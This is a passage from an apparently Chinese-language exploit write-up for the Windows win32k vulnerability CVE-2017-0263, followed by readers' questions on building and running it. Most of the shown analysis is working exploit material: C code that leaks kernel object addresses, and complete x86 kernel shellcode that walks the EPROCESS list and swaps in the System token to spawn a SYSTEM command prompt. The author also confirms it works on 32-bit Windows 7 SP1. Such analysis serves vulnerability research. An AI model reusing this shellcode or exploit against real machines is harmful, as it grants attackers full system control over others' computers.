以解除对目标窗口对象的赋值锁时,将直接对以成员标志位 bDialogWindow
地址起始的 32 位数值自减,这将使成员标志位 bServerSideWindowProc
被置位。
通过自减指令使目标比特位被置位
由于成员标志位 bServerSideWindowProc
置位,载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。
ShellCode
ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode 函数代码之前,首先对所需的数据进行初始化和赋值。
根据前面构造的利用代码,我们已实现漏洞触发后在函数 xxxMNEndMenuState
第二次执行期间不引发系统异常而成功执行,但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS
对象的成员域 lpszMenuName
指向的缓冲区。这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName
时引发重复释放的异常,因此需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName
置空。
在利用代码批量创建普通窗口对象期间,增加获取每个窗口对象的成员域 pcls
指向地址的语句,并将获取到的各个 pcls
指向地址存储在结构体 SHELLCODE
对象的成员数组 tagCLS[]
中。
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码
查找需置空成员域 lpszMenuName
的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配,因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数 xxWindowEventProc
中实现:
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码
在利用代码开始的位置初始化结构体 SHELLCODE
对象缓冲区时,拷贝利用函数 xxPayloadWindProc
的代码到 SHELLCODE
对象缓冲区中。接下来实现对 xxPayloadWindProc
函数代码的构造。该函数的代码将作为载体窗口对象的内核模式消息处理函数在内核上下文中执行。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是,内核模式窗口对象消息处理函数的第 1 个参数是指向目标窗口 tagWND
对象的指针,其余参数都相同。
为了精确识别触发提权的操作,在代码中定义 0x9F9F
为触发提权的消息。在 ShellCode 函数代码中,我们首先判断传入的消息参数是否是我们自定义的提权消息:
push ebp
mov ebp,esp
mov eax,dword ptr [ebp+0Ch]
cmp eax,9F9Fh
jne LocFAILED
在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS
值为 0x1B
,借助这个特性,在 ShellCode 函数代码中判断当前执行上下文是否在用户模式下,如是则返回失败。
mov ax,cs
cmp ax,1Bh
je LocFAILED
恢复载体窗口对象的成员标志位为初始值。与之前修改标志位时的自减相对地,使成员标志位 bDialogWindow
地址起始的 32 位数据直接自增,这样一来,成员标志位 bServerSideWindowProc
等被修改的标志位将恢复到修改之前的状态。
cld
mov ecx,dword ptr [ebp+8]
inc dword ptr [ecx+16h]
首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP
技术获取当前 EIP
执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE
对象的首地址:
pushad
call $+5
pop edx
sub edx,443h
遍历结构体 SHELLCODE
对象存储的 tagCLS
数组并与通过参数 wParam
传入的根弹出菜单对象的内核地址进行匹配,并将匹配到的 tagCLS
对象的成员域 lpszMenuName
置空。
mov ebx,100h
lea esi,[edx+18h]
mov edi,dword ptr [ebp+10h]
LocForCLS:
test ebx,ebx
je LocGetEPROCESS
lods dword ptr [esi]
dec ebx
cmp eax,0
je LocForCLS
add eax,dword ptr [edx+8]
cmp dword ptr [eax],edi
jne LocForCLS
and dword ptr [eax],0
jmp LocForCLS
接下来获取载体窗口对象头部结构中存储的线程信息 tagTHREADINFO
对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO
对象指针,并获取对应进程的进程体 EPROCESS
对象指针。各个成员域的偏移在结构体 SHELLCODE
对象中存储。
LocGetEPROCESS:
mov ecx,dword ptr [ecx+8]
mov ebx,dword ptr [edx+0Ch]
mov ecx,dword ptr [ebx+ecx]
mov ecx,dword ptr [ecx]
mov ebx,dword ptr [edx+10h]
mov eax,dword ptr [edx+4]
接下来根据进程体 EPROCESS
对象的成员域 ActiveProcessLinks
双向链表和成员域 UniqueProcessId
进程标识符找到当前进程的 EPROCESS
地址。由于 UniqueProcessId
是成员域 ActiveProcessLinks
的前一个成员域,因此直接使用 SHELLCODE
对象中存储的 ActiveProcessLinks
偏移值来定位 UniqueProcessId
的位置。
push ecx
LocForCurrentPROCESS:
cmp dword ptr [ebx+ecx-4],eax
je LocFoundCURRENT
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForCurrentPROCESS
LocFoundCURRENT:
mov edi,ecx
pop ecx
紧接着继续遍历进程体 EPROCESS
对象链表,以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr [ebx+ecx-4],4
je LocFoundSYSTEM
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForSystemPROCESS
LocFoundSYSTEM:
mov esi,ecx
执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token
指针替换当前进程的 Token
指针。
mov eax,dword ptr [edx+14h]
add esi,eax
add edi,eax
lods dword ptr [esi]
stos dword ptr es:[edi]
此时当前进程已拥有 System 进程的 Token
指针,额外增加的引用需要手动为目标 Token
对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER
结构体作为头部结构:
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER
结构体的 Body
成员域。手动增加指针引用需要对成员域 PointerCount
进行自增。
and eax,0FFFFFFF8h
add dword ptr [eax-18h],2
接下来大功告成,恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F
作为向调用者的反馈信息。
popad
mov eax,9F9Fh
jmp LocRETURN
LocFAILED:
mov eax,1
LocRETURN:
leave
ret 10h
至此 ShellCode 函数代码已编写完成。
触发提权
万事俱备,只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 xxShadowWindowProc
中调用系统服务 NtUserMNDragLeave
之后的位置增加对载体窗口对象发送自定义提权消息 0x9F9F
的调用语句,并将返回值的判断结果存储在全局变量 bDoneExploit
中。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
在函数 xxShadowWindowProc 中增加发送提权消息的利用代码
这样一来,在执行系统服务 NtUserMNDragLeave
以置位载体窗口对象的成员标志位 bServerSideWindowProc
之后,函数发送 0x9F9F
消息并将根弹出菜单对象的内核地址作为 wParam
参数传入,执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数,执行到由用户进程定义的 ShellCode 代码中,实现内核提权和相关内核用户对象成员域的修复。
通过主线程监听全局变量 bDoneExploit
是否被赋值;如成功赋值则创建新的命令提示符进程。
启动的命令提示符进程已属于 System 用户身份
可以观测到新启动的命令提示符已属于 System 用户身份。
后记
在本分析中构造验证代码和利用代码时,处理逻辑与原攻击样本的代码稍有差异。例如,攻击样本为了保证成功率,在代码中增加了暂时挂起全部线程的操作,还将菜单和子菜单的个数设定为 3 个,还有重试机制等。在本分析中为了实现最简验证和利用代码,对这些不必要的因素进行了省略。
0x5 链接
本分析的英文版本:https://xiaodaozhi.com/exploit/117.html
[0] 本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp
[1] Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
[2] 从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析
http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/
[3] TrackPopupMenuEx function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx
[4] sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
[5] Sednit adds two zero-day exploits using 'Trump's attack on Syria' as a decoy
[6] EPS Processing Zero-Days Exploited by Multiple Threat Actors
https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html
- THE END -
每看一遍都有新的认识,谢谢
感谢阅读~~
每次都在更新呀,666666
师傅你好,文章写得特别详细,感谢师傅的分享
其次我可以问一下这么详细的关于菜单组件的知识是怎么得来的吗?是通过逆向自己分析吗亦或者是有其它渠道?
感谢阅读。这部分的知识可以通过逆向分析、再加上和WRK、NT4等旧版本源码中定义的结构对比来掌握。
师傅这个exp需要什么环境编译
VS2015+,生成32位目标文件
是不是编译生成exe放在win7虚拟机运行就可以复现漏洞了?
对,是这样的。poc本身可以在32位win7sp1触发。64位需要改造。
师傅,这个POC是用VS2015生成32位exe然后在win7中直接运行吗
小刀师傅好,我想问一下poc复现的话我应该在哪里下断点?我用windbg preview调试一直无法令poc停下来看内存
是要断在内核还是用户态呢?内核的话可以使用WinDbg的硬件断点命令ba e1 xxxxx下断点,用户态的话可以把POC里的POCDEBUG宏设置为2(会在一些关键节点断下来方便调试跟进)然后编译。
我是想运行poc和exp验证漏洞的存在性和可利用性,以及查看这个过程中的内存布局,您看这应该在用户态还是内核态呢?不好意思我是新手入门不太懂,麻烦小刀师傅了
两种都需要的
师傅,POCDEBUG宏需要我自己添加吗
在poc中就有的
感谢小刀师傅
感谢阅读